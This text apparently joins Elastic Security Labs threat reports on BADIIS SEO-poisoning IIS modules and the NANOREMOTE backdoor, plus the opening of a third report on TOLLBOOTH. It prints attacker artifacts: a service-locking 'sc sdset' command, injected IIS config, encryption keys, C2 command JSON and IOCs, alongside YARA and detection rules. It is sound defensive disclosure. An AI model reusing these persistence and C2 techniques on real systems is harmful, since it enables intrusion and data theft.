In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server. These observations align with previous reporting from Cisco Talos and Trend Micro from last year.

This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.

Key takeaways

• Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers
• Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites
• Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam
• This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro

Campaign Overview

REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

• First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
• Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

• C:\Windows\System32\drivers\WUDFPfprot.sys
• C:\Windows\System32\drivers\WppRecorderpo.sys
• C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

<globalModules>
    	<add name="WsmRes64" image="C:\Windows\Microsoft.NET\Framework\WsmRes64.dll" preCondition="bitness64" />
</globalModules>
<modules>
    <add name="WsmRes64" preCondition="bitness64" />
</modules>

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the <globalModules> and <modules> nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

• G-2FK43E86ZM
• G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

• B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (<country_code>fml__.txt, <country_code>fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

• tz123[.]app
• tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

• Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
  • kr.gotz003[.]com (South Korea)
  • vn.gotz003[.]com (Vietnam)
  • cn.gotz003[.]com (China)
  • cnse.gotz003[.]com (China)
  • bd.gotz003[.]com (Bangladesh)
• Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
• br.jbtz003[.]com (Brazil)
• vn.jbtz003[.]com (Vietnam)
• vnbtc.jbtz003[.]com (Vietnam)
• in.jbtz003[.]com (India)
• cn.jbtz003[.]com (China)
• jp.jbtz003[.]com (Japan)
• pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

• http://kr.gotz001[.]com/lunlian/index.php
• http://se.gotz001[.]com/lunlian/index.php
• https://cn404.gotz001[.]com/lunlian/index.php
• https://cnse.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/index.php
• https://cn.gotz001[.]com/lunlian/indexgov.php
• https://vn404.gotz001[.]com/lunlian/index.php
• https://vn.gotz001[.]com/lunlian/index.php
• http://bd.gotz001[.]com/lunlian/index.php
• http://vn.jbtz001[.]com/lunlian/index.php
• https://vnse.jbtz001[.]com/lunlian/index.php
• https://vnbtc.jbtz001[.]com/lunlian/index.php
• https://in.jbtz001[.]com/lunlian/index.php
• https://br.jbtz001[.]com/lunlian/index.php
• https://cn.jbtz001[.]com/lunlian/index.php
• https://jp.jbtz001[.]com/lunlian/index.php
• https://pk.jbtz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Persistence
• Defense Evasion
• Discovery

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• Create Account: Local Account
• Create or Modify System Process: Windows Service
• Hijack Execution Flow: Services Registry Permissions Weakness
• Obfuscated Files or Information: Software Packing
• Masquerading: Match Legitimate Name or Location
• System Information Discovery

Remediating REF4033

Prevention

• Suspicious Microsoft IIS Worker Descendant
• Potential Privilege Escalation via Token Impersonation
• Privilege Escalation via SeImpersonatePrivilege
• Direct Syscall from Unsigned Module
• Suspicious Windows Service DLL Creation
• Suspicious Svchost Registry Modification
• Security Account Manager (SAM) Registry Access

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.BadIIS
• Windows.Trojan.Generic

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud
• https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/
• https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html

In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.

One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the Google Drive API. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.

This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.

Key takeaways

• Elastic Security Labs discovers a new Windows backdoor
• NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707
• NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API
• The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv
• Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features

NANOREMOTE analysis

WMLOADER

The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.

WMLOADER masquerades as a Bitdefender Security program (BDReinit.exe) with an invalid digital signature.

After execution, the program makes a large number of calls to Windows functions (VirtualAlloc / VirtualProtect), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (0x193041) and decrypted using a rolling XOR algorithm.

This shellcode looks for a file named wmsetup.log in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (3A5AD78097D944AC). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.

Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.

NANOREMOTE

NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.

NANOREMOTE Configuration

The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.

For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The |*| separator splits the fields used by a single client and the |-| is used as a marker to separate the clients. There are three fields per client structure:

• Client ID
• Client Secret
• Refresh Token

Below is an example of the format:

Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2

The developer has a fallback mechanism to accept this configuration through an environment variable named NR_GOOGLE_ACCOUNTS.

Interface/Logging

NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.

A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called Log.

A newly created log file (pe_exe_run.log) is dropped in this folder containing the same output printed from the console.

Setup

There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via CoCreateGuid then hashes the GUID using the Fowler-Noll-Vo (FNV) function. This GUID is used by the operator to identify individual machines during each request.

The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.

The exception will produce the dump before terminating the process. This is a pretty standard practice although the MiniDumpWithFullMemory might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.

A quick Google search using the same string formatter for the dump file (%d%02d%02d%02d%02d%02d_sv.dmp) listed only 1 result from a Chinese-based software development website.

Network Communication

As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (558bec83ec40535657833d7440001c00). The URI for all requests use /api/client with User-Agent (NanoRemote/1.0).

Below is the CyberChef recipe used for the C2 encryption/compression:

Each request prior to encryption, follows a schema consisting of:

• Command ID: Associated command handler ID
• Data: Command-specific object containing key/value pairs required by the corresponding handler
• ID: Unique machine identifier assigned to the infected host

Below is an example of a request that triggers execution of whoami via the command key inside the data object:

{
    "cmd": 21,
    "data": {
        "command": "whoami"
    },
    "id": 15100174208042555000
}

Each response follows a similar format using the previous fields along with two additional fields.

• Output: Contains any output from the previously requested command handler
• Success: Boolean flag used to determine if command was successful or not

Below is an example of the response from the previous whoami command:

{
    "cmd": 21,
    "data": 0,
    "id": 17235741656643013000,
    "output": "desktop-2c3iqho\\rem\r\n",
    "success": true
}

Command Handlers

NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.

Below is the command handler table:

Handler #1 - Collect host-based information

This handler enumerates system and user details to profile the victim environment:

• Uses WSAIoctl with SIO_GET_INTERFACE_LIST to retrieve internal and external IP address
• Grabs username via GetUserNameW
• Retrieves the hostname via GetComputerNameW
• Checks if current user is member of Administrator group via IsUserAnAdmin
• Retrieves the process path used by the malware using GetModuleFileNameW
• Retrieves operating‑system information (product build) from the registry using the WinREVersion and ProductName value names
• Gets process ID of running program via GetCurrentProcessID

Below is an example of the data sent to the C2 server:

{
    "cmd": 1,
    "data": {
        "Arch": "x64",
        "ExternalIp": "",
        "HostName": "DESKTOP-2C3IQHO",
        "ID": 8580477787937977000,
        "InternalIp": "192.168.1.1",
        "OsName": "Windows 10 Enterprise ",
        "ProcessID": 304,
        "ProcessName": "pe.exe",
        "SleepTimeSeconds": 0,
        "UID": 0,
        "UserName": "REM *"
    },
    "id": 8580477787937977000
}

Handler #2 - Modify beacon timeout

This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.

Below is an example of this request where NANOREMOTE uses the key (interval) with a value (5) to modify the beacon timeout to 5 seconds.

{
    "cmd": 2,
    "data": {
        "interval": 5
    },
    "id": 15100174208042555000
}

Handler #3 - Self-termination

This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.

Handler #4 - List folder contents by path

This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:

• Whether the item is a directory or not
• Whether the item is marked as hidden
• Last modified date
• File name
• Size

Handler #5 - List folder contents and set working directory

This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.

Handler #6 - Get Storage Disk Info

This handler uses the following Windows API functions to collect storage disk information from the machine:

• GetLogicalDrives
• GetDiskFreeSpaceExW
• GetDriveTypeW
• GetVolumeInformationW

Below is an example of the request in JSON showing the data returned:

{
    "cmd": 6,
    "data": {
        "items": [
            {
                "free": 26342813696,
                "name": "C:",
                "total": 85405782016,
                "type": "Fixed"
            }
        ]
    },
    "id": 16873875158734957000,
    "output": "",
    "success": true
}

Handler #7 - Create new folder directory

This command handler creates a new directory based on a provided path.

Handler #8, #9 - Delete file, directory

This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.

Handler #10, #11 - Teardown/Cleanup

These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.

Handler #12 - Custom PE Loader - Execute PE from disk

This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library libPeConv to load PE files from disk without using the traditional Windows loader.

In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.

Below is the following input for this handler where the local file path is provided under the key (args):

{
    "cmd": 12,
    "data": {
        "args": "C:\\tmp\\mare_test.exe"
    },
    "id": 15100174208042555000
}

The following screenshot shows successful execution of our test executable using this technique:

During this analysis, one interesting note is the adoption of the libPeConv library, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:

• default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.

• hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.

• FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.

• ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.

Another notable observation in this handler is the use of the open-source hooking library, Microsoft Detours. This library is used to intercept the following Windows functions:

• GetStdHandle
• RtlExitUserThread
• RtlExitUserProcess
• FatalExit
• ExitProcess

This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.

Handler #13 - Set working directory

This handler sets the working directory to a specific directory using the key (path). Below is an example request:

{
    "cmd": 13,
    "data": {
        "path": "C:\\tmp\\Log"
    },
    "id": 15100174208042555000
}

Handler #14 - Get working directory

This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).

{
    "cmd": 14,
    "data": 0,
    "id": 11010639976590963000,
    "output": "[+] pwd output:\r\nC:\\tmp\\Log\r\n",
    "success": true
}

Handler #15 - Move File

This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.

Handler #16 - Queue Download Task

This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.

Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.

A task is processed using various fields provided by the C2 server:

• type
• task_id
• file_id
• target_path
• file_size
• md5

When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.

Below is the console output showing this download process:

This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.

Handler #17 - Queue Upload Task

This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.

The following fields are provided by the operator through the C2 server:

• type
• task_id
• upload_name
• source_path
• file_size
• md5

Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (/upload/drive/v3/files).

The below figure shows the console during this upload process.

Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.

Below is the response from this handler:

{
    "cmd": 17,
    "data": {
        "file_id": "1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7",
        "file_name": "meow.txt",
        "file_size": 16,
        "md5": "1e28c01387e0f0229a3fb3df931eaf80",
        "progress": 100,
        "status": "uploaded",
        "task_id": "124"
    },
    "id": 4079875446683087000,
    "output": "",
    "success": true
}

Handler #18 - Pause download/upload transfer

This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.

Handler #19 - Resume download/upload transfer

This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.

Handler #20 - Cancel file transfer

This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.

Handler #21 - Command Execution

This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.

The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.

Handler #22 - Execute encoded PE from memory

This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.

Below is an example showing the console output using test program:

Similarity to FinalDraft

There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.

Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the Fowler-Noll-Vo (FNV) function and performing identical heap-validation checks before freeing the buffer.

A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.

During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we published earlier in the year.

Another interesting finding is that we discovered a sample (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.

We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the wmsetup.log file, revealing a FINALDRAFT implant.

Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.

Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.

NANOREMOTE through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Account Discovery
• Local Storage Discovery
• Exfiltration Over Web Service: Exfiltration to Cloud Storage
• Masquerading: Invalid Code Signature
• Command and Scripting Interpreter: Windows Command Shell

Mitigating NANOREMOTE

Within a lab environment executing NANOREMOTE, there were many different alerts triggered using Elastic Defend.

One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.

The PE loading technique using the Base64 encoded file from the C2 server was also detected via Memory Threat Detection Alert: Shellcode Injection alert.

Detection/Prevention

• Potential Evasion with Hardware Breakpoints
• Potential Evasion via Invalid Code Signature
• Unbacked Shellcode from Unsigned Module
• Shellcode Execution from Low Reputation Module
• Image Hollow from Unusual Stack
• Connection to Commonly Abused Webservices
• Memory Threat Detection Alert: Shellcode Injection

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-11-17"
        last_modified = "2025-11-19"
	 license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.NanoRemote"

    strings:
        $str1 = "/drive/v3/files/%s?alt=media" ascii fullword
        $str2 = "08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X" ascii fullword
        $str3 = "NanoRemote/" wide
        $str4 = "[+] pwd output:" wide
        $str5 = "Download task %s failed: write error (wrote %llu/%zu bytes)"
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}

rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-12-03"
        last_modified = "2025-12-03"
       license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WMLoader"
        reference_sample = "fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902"

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

